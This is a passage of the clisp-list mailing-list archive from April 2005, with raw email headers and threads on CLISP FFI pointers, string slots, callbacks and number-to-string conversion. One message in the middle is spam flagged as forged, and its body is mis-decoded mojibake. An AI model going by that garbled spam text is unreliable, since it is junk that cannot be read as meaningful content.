(check-pointer (susv3:readdir DIR-STREAM) I don't know what that returns, so I cannot show a solution. It's possible that you must work with pointers to some structure = instead of an instance object copied back and forth from/to Lisp. For = these, I recommmend you investigate (c-pointer xyz) instead of (c-ptr = xyz). >How can one use a pointer to a C structure (compare the address with >specific numbers and fetch fields) with FFI, if at all possible? For comparison of addresses, you already found out about = unsigned-foreign-address and its sibling. For working with slots, you = indeed need with-c-var and sisters to create places out of (preferrably = typed) pointers, and use SLOT to access the places. Mind you, EQUALP does not work correctly with pointers, even though = simple tests look like it does. The difference is what I call the = foreign base (see the foreign-pointer function). A CLISP foreign = pointer is like X+Y, and you can have X1+Y1=3D=3DX2+Y2, yet the = components differ. >(ffi:def-c-type pointer ffi:ulong) >(ffi:def-c-type dirp pointer) >(ffi:def-call-out readdir (:name "readdir") > (:arguments (dir dirp)) That would be a really poor poor modeling of that function. 1. Don't use integers for pointers -- you wouldn't do that even in C. 2. Don't use untyped pointers when you want to access slots *AND* work = with references. Use (c-pointer xyz) 3. Use (c-ptr xyz) when its fine to convert the foreign structure to a = Lisp object. In this case, both (c-ptr-null dirent) and (c-pointer dirent) would be = good choices for readdir() :return-type IMHO. What did you want to achieve that the old bindings/linux.lisp = file/module did not already provide or at least show how to use? Please have a look at the latest impnotes. I tried to stress the = difference between (c-pointer x) and (c-ptr x). (C-pointer x) was not = present in the past. Regards, J=F6rg H=F6hle. From kavenchuk@jenty.by Tue Apr 12 05:05:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLK8e-0002vD-CP for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 05:05:04 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DLK8N-00042s-2d for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 05:05:04 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 22VVCVAL; Tue, 12 Apr 2005 15:07:47 +0300 Message-ID: <425BB983.1070202@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] handle_fault error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 12 05:05:41 2005 X-Original-Date: Tue, 12 Apr 2005 15:05:23 +0300 clisp from CVS head, mingw [1]> (ffi:def-c-struct my-struct (my-int ffi:int) (my-str ffi:c-string) (int-ptr (ffi:c-pointer ffi:int)) (str-ptr (ffi:c-pointer ffi:c-string)) (void-ptr ffi:c-pointer)) MY-STRUCT [2]> (setq s1 (ffi:allocate-shallow 'my-struct)) # [3]> (setf (ffi:slot (ffi:foreign-value s1) 'my-int) 6783) 6783 [4]> (ffi:foreign-value s1) #S(MY-STRUCT :MY-INT 6783 :MY-STR NIL :INT-PTR NIL :STR-PTR NIL :VOID-PTR NIL) [5]> (setf (ffi:slot (ffi:foreign-value s1) 'my-str) "EXAMPLE") *** - handle_fault error2 ! address = 0x0 not in [0x1a190000,0x1a2f77d0) ! SIGSEGV cannot be cured. Fault address = 0x0. ... How I can set structure field with c-string type? Thanks. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Tue Apr 12 10:30:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLPDh-0002wK-6a for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 10:30:37 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DLPDR-0003ys-9J for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 10:30:37 -0700 Received: from g8pbr.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 12 Apr 2005 19:29:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2X8L4X33>; Tue, 12 Apr 2005 19:29:23 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0303E3AC62@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: AW: [clisp-list] handle_fault error MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 12 10:31:30 2005 X-Original-Date: Tue, 12 Apr 2005 19:29:23 +0200 Hi, Yaroslav Kavenchuk wrote: >[1]> (ffi:def-c-struct my-struct > (my-str ffi:c-string) > (str-ptr (ffi:c-pointer ffi:c-string)) > (void-ptr ffi:c-pointer)) >MY-STRUCT >[2]> (setq s1 (ffi:allocate-shallow 'my-struct)) ># >(setf (ffi:slot (ffi:foreign-value s1) 'my-str) "EXAMPLE") This is not supported syntax. The official syntax to access foreign-variable objects is (with-c-place (my s1) ; "my" place name chosen arbitrarily (slot my 'my-str) (setf (slot my 'my-str) foo))) >*** - handle_fault error2 ! address = 0x0 not in >[0x1a190000,0x1a2f77d0) ! >SIGSEGV cannot be cured. Fault address = 0x0. Allocate-shallow does what the name says: it does not allocate space for substructures, like storage room for the characters of your string. You did not allocate storage for the string. Therefore, trying and setting the str-ptr slot caused a NULL pointer error. Possible solution paths: o Use allocate-shallow a second time to make room for your string, doing storage management by hand. This requires explicit cast'ing to see the str-ptr sometimes as c-string, sometimes as c-pointer. o Use (c-ptr (c-array-max character NNN)) together with allocate-deep to use bounded buffers instead of unbounded strings. The FFI would then fill the buffer and perform boundary checking. Regards, Jorg Hohle. From kavenchuk@jenty.by Tue Apr 12 23:37:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLbVC-0007x2-41 for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 23:37:30 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DLbUv-0004MR-9t for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 23:37:30 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2Z3WYBWV; Wed, 13 Apr 2005 09:40:12 +0300 Message-ID: <425CBE3B.6060404@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] handle_fault error References: <5F9130612D07074EB0A0CE7E69FD7A0303E3AC62@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0303E3AC62@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 12 23:38:28 2005 X-Original-Date: Wed, 13 Apr 2005 09:37:47 +0300 Hoehle, Joerg-Cyril: > Allocate-shallow does what the name says: it does not allocate space for > substructures, like storage room for the characters of your string. > > You did not allocate storage for the string. Therefore, trying and > setting the str-ptr slot caused a NULL pointer error. > > Possible solution paths: > > o Use allocate-shallow a second time to make room for your string, doing > storage management by hand. This requires explicit cast'ing to see the > str-ptr sometimes as c-string, sometimes as c-pointer. > > o Use (c-ptr (c-array-max character NNN)) together with allocate-deep to > use bounded buffers instead of unbounded strings. The FFI would then > fill the buffer and perform boundary checking. Like this? [1]> (ffi:def-c-struct my-struct (my-int ffi:int) (my-str ffi:c-string) (int-ptr (ffi:c-pointer ffi:int)) (str-ptr (ffi:c-pointer ffi:c-string)) (void-ptr ffi:c-pointer)) MY-STRUCT [8]> (setq s1 (ffi:allocate-shallow 'my-struct)) # [9]> (ffi:foreign-value s1) #S(MY-STRUCT :MY-INT 0 :MY-STR NIL :INT-PTR NIL :STR-PTR NIL :VOID-PTR NIL) [14]> (ffi:with-c-place (my s1) (setf (ffi:cast (ffi:slot my 'my-str) 'ffi:c-pointer) (ffi:cast (ffi:foreign-value (ffi:allocate-deep 'ffi:c-string "EXAMPLE")) 'ffi:c-pointer))) # [15]> (ffi:foreign-value s1) #S(MY-STRUCT :MY-INT 0 :MY-STR "EXAMPLE" :INT-PTR NIL :STR-PTR NIL :VOID-PTR NIL) I should free :my-str if it not nil before set? How? -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Tue Apr 12 23:56:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLbnG-0000LU-9n for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 23:56:10 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DLbnE-0006DS-3I for clisp-list@lists.sourceforge.net; Tue, 12 Apr 2005 23:56:10 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2Z3WYBX7; Wed, 13 Apr 2005 09:59:12 +0300 Message-ID: <425CC2AF.2040202@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi: unnamed call-in function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Apr 12 23:57:26 2005 X-Original-Date: Wed, 13 Apr 2005 09:56:47 +0300 How define unnamed call-in function and determine it address? How call c-function to its address (without name)? Thanks. -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 13 09:34:34 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLkp0-0001Ue-Ii for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 09:34:34 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DLkoy-0001he-UK for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 09:34:34 -0700 Received: from g8pbr.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 13 Apr 2005 18:34:16 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <2X8LXAKX>; Wed, 13 Apr 2005 18:34:23 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0303E3AE37@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: [clisp-list] ffi: unnamed call-in function MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 13 09:36:15 2005 X-Original-Date: Wed, 13 Apr 2005 18:34:23 +0200 Hi, Yaroslav Kavenchuk wrote: >How define unnamed call-in function and determine it address? I suggest you look at tests/ffi.tst again: [17]> (defun callback (x) (/ x 3)) CALLBACK [18]> (with-c-var (x '(c-function (:arguments (x uint)) (:return-type uint) (:language :stdc)) #'callback) x) ;; or use #'(lambda ...) here instead # [19]> (setq foo *) # [20]> (funcall foo 123) 41 [23]> (funcall foo 2) *** - 2/3 cannot be converted to the foreign type UINT The following restarts are available: ABORT :R1 ABORT [25]> (foreign-address foo) # [...]> (foreign-free foo) NIL [...]> ** # Arguably, the current ffi:foreign-function constructor could be enhanced to accept a Lisp function objects as input and create a foreign-function object from it. That seems to make some sense. Note that when some call-out function has as :argument (c-function ...), a Lisp function is automatically converted to a foreign function pointer that is then passed to the foreign function. But then, you don't get to see its address. >How call c-function to its address (without name)? Use funcall on the # object or what do you mean? Regards, Jorg Hohle. From sds@gnu.org Wed Apr 13 11:55:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLn1P-0002By-4m for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 11:55:31 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DLn0i-0003Ng-Kg for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 11:55:31 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3DIqRvD015012; Wed, 13 Apr 2005 14:52:35 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <425A6E0A.4080804@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 11 Apr 2005 15:31:06 +0300") References: <425A6E0A.4080804@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: source files of modules in distrib Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 13 11:57:21 2005 X-Original-Date: Wed, 13 Apr 2005 14:53:59 -0400 > * Yaroslav Kavenchuk [2005-04-11 15:31:06 +0300]: > > "make distrib" append in archive *.lisp files of clisp but not include > *.lisp files of built modules. Why? fixed, thanks. > Thanks for your excellent work! welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is great, as long as `bill' is a verb. From kavenchuk@jenty.by Wed Apr 13 23:15:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DLxdu-00025y-Pp for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 23:15:58 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DLxdn-0007dl-6P for clisp-list@lists.sourceforge.net; Wed, 13 Apr 2005 23:15:58 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2Z3WYDRC; Thu, 14 Apr 2005 09:18:41 +0300 Message-ID: <425E0AAF.7000404@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ffi: unnamed call-in function References: <5F9130612D07074EB0A0CE7E69FD7A0303E3AE37@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0303E3AE37@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 13 23:17:28 2005 X-Original-Date: Thu, 14 Apr 2005 09:16:15 +0300 Hoehle, Joerg-Cyril: >>How call c-function to its address (without name)? > > Use funcall on the # object or what do you mean? Now nothing :) Many thanks! -- WBR, Yaroslav Kavenchuk. From luoshishen520@yahoo.com.cn Thu Apr 21 01:50:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOXNx-0001Jp-As for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 01:50:09 -0700 Received: from [220.207.50.49] (helo=yahoo.com.cn) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DOXNp-0003qF-UG for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 01:50:09 -0700 From: luoshishen520@yahoo.com.cn To: clisp-list@lists.sourceforge.net Content-Type: text/plain;charset="GB2312" X-Priority: 2 X-Mailer: Microsoft Outlook Express 6.00.2800.1106 Message-ID: X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 3.0 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook -1.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] =?GB2312?B?s/a79dK1zvE=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 01:50:43 2005 X-Original-Date: Thu, 21 Apr 2005 16:50:05 +0800 ×ð¾´µÄÐÂÀϿͻ§£¬¹ó¹«Ë¾Áìµ¼£º ÄúÃǺ㡸ÐлÄã´Ó°ÙæÖгé³öʱ¼ä¿´´Ë·âÓʼþ£¬ ÎÒ¹«Ë¾Ö÷ÒªÒ԰﹫˾³ö»õ£¬ ͬʱ£¬ÎÒ¹«Ë¾²ÆÎñÿ¸öÔ³õÓÐÔÚ˰Îñ¾ÖÉêÇë¸÷À෢Ʊ£¬²¢½«½ÉÄÉÒ»ÇÐ˰ÊÕ£¬ÎÒµÄÒâ˼ ¾ÍÊÇÏëÎÊһϹó¹«Ë¾ÓÐûÓÐÐèÒª´ú¿ªÒ»Ð©ÆÕͨ¹ú˰·¢Æ±£¬ºÍÔËÊ䷢Ʊ£¬Ôöֵ˰µÈµÈ¡£ Èç¹ûÓÐÐèÒªµÄ»°Çë¸úÎÒÁªÂ硣лл£¡ ÓÐÒâÕßÇëÖµ磺13660096636 ÁªÏµÈË£ºÉòÏÈÉú ˳ף£ºÉúÒâÐË¡£º¶àлºÏ×÷ From kavenchuk@jenty.by Thu Apr 21 03:59:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOZOr-00081O-5s for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 03:59:13 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DOZOn-000529-9E for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 03:59:13 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id JLQKHRML; Thu, 21 Apr 2005 14:01:48 +0300 Message-ID: <42678794.1030206@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi:def-call-out with variable parameters number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 03:59:41 2005 X-Original-Date: Thu, 21 Apr 2005 13:59:32 +0300 How define it? For example - printf. Thanks. -- WBR, Yaroslav Kavenchuk. From cermee@linuxmail.org Thu Apr 21 05:47:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DOb5Z-0005Z7-02 for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 05:47:25 -0700 Received: from webmail-outgoing.us4.outblaze.com ([205.158.62.67]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DOb5X-0002ud-Fr for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 05:47:24 -0700 Received: from unknown (unknown [192.168.9.180]) by webmail-outgoing.us4.outblaze.com (Postfix) with QMQP id 9E0261800231 for ; Thu, 21 Apr 2005 12:47:24 +0000 (GMT) X-OB-Received: from unknown (205.158.62.133) by wfilter.us4.outblaze.com; 21 Apr 2005 12:53:51 -0000 Received: by ws5-3.us4.outblaze.com (Postfix, from userid 1001) id 6EF1C23CFF; Thu, 21 Apr 2005 12:46:31 +0000 (GMT) Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Received: from [150.244.195.165] by ws5-3.us4.outblaze.com with http for cermee@linuxmail.org; Thu, 21 Apr 2005 20:46:31 +0800 From: =?iso-8859-1?B?RS4gQ2VybWXxbw== ?= To: clisp-list@lists.sourceforge.net X-Originating-Ip: 150.244.195.165 X-Originating-Server: ws5-3.us4.outblaze.com Message-Id: <20050421124631.6EF1C23CFF@ws5-3.us4.outblaze.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Number to string Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 05:48:16 2005 X-Original-Date: Thu, 21 Apr 2005 20:46:31 +0800 I've been googling for over an hour and still don't know how to convert a n= umber to a string in LISP. The only thing I've found is in Steele , saying that int-char was going to = dissapear in 1989 :S Thanks --=20 _______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze From mcross@irobot.com Thu Apr 21 05:54:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DObCN-000647-6d for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 05:54:27 -0700 Received: from smtp1.irobot.com ([66.238.211.203] helo=irobot.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DObCL-0000Sd-Mn for clisp-list@lists.sourceforge.net; Thu, 21 Apr 2005 05:54:27 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: RE: [clisp-list] Number to string Message-ID: <712A2DEC228C7448978CBD7A7AD5B0900124B64C@fever.wardrobe.irobot.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] Number to string Thread-Index: AcVGcGrL8wQ2GzjoQC+a8MSRIWqETwAAJ7zw From: "Cross, Matthew" To: =?iso-8859-1?Q?E=2E_Cerme=F1o?= , X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 21 05:54:50 2005 X-Original-Date: Thu, 21 Apr 2005 08:54:16 -0400 This will do it: [1]> (setf number 3) 3 [2]> (format nil "~a" number) "3" > -----Original Message----- > From: clisp-list-admin@lists.sourceforge.net=20 > [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of=20 > E. Cerme=F1o > Sent: Thursday, April 21, 2005 8:47 AM > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] Number to string >=20 > I've been googling for over an hour and still don't know how=20 > to convert a number to a string in LISP. > The only thing I've found is in Steele , saying that int-char=20 > was going to dissapear in 1989 :S Thanks > -- > _______________________________________________ > Check out the latest SMS services @ http://www.linuxmail.org=20 > This allows you to send and receive SMS through your mailbox. >=20 > Powered by Outblaze >=20 >=20 > ------------------------------------------------------- > This SF.Net email is sponsored by: New Crystal Reports XI. > Version 11 adds new functionality designed to reduce time=20 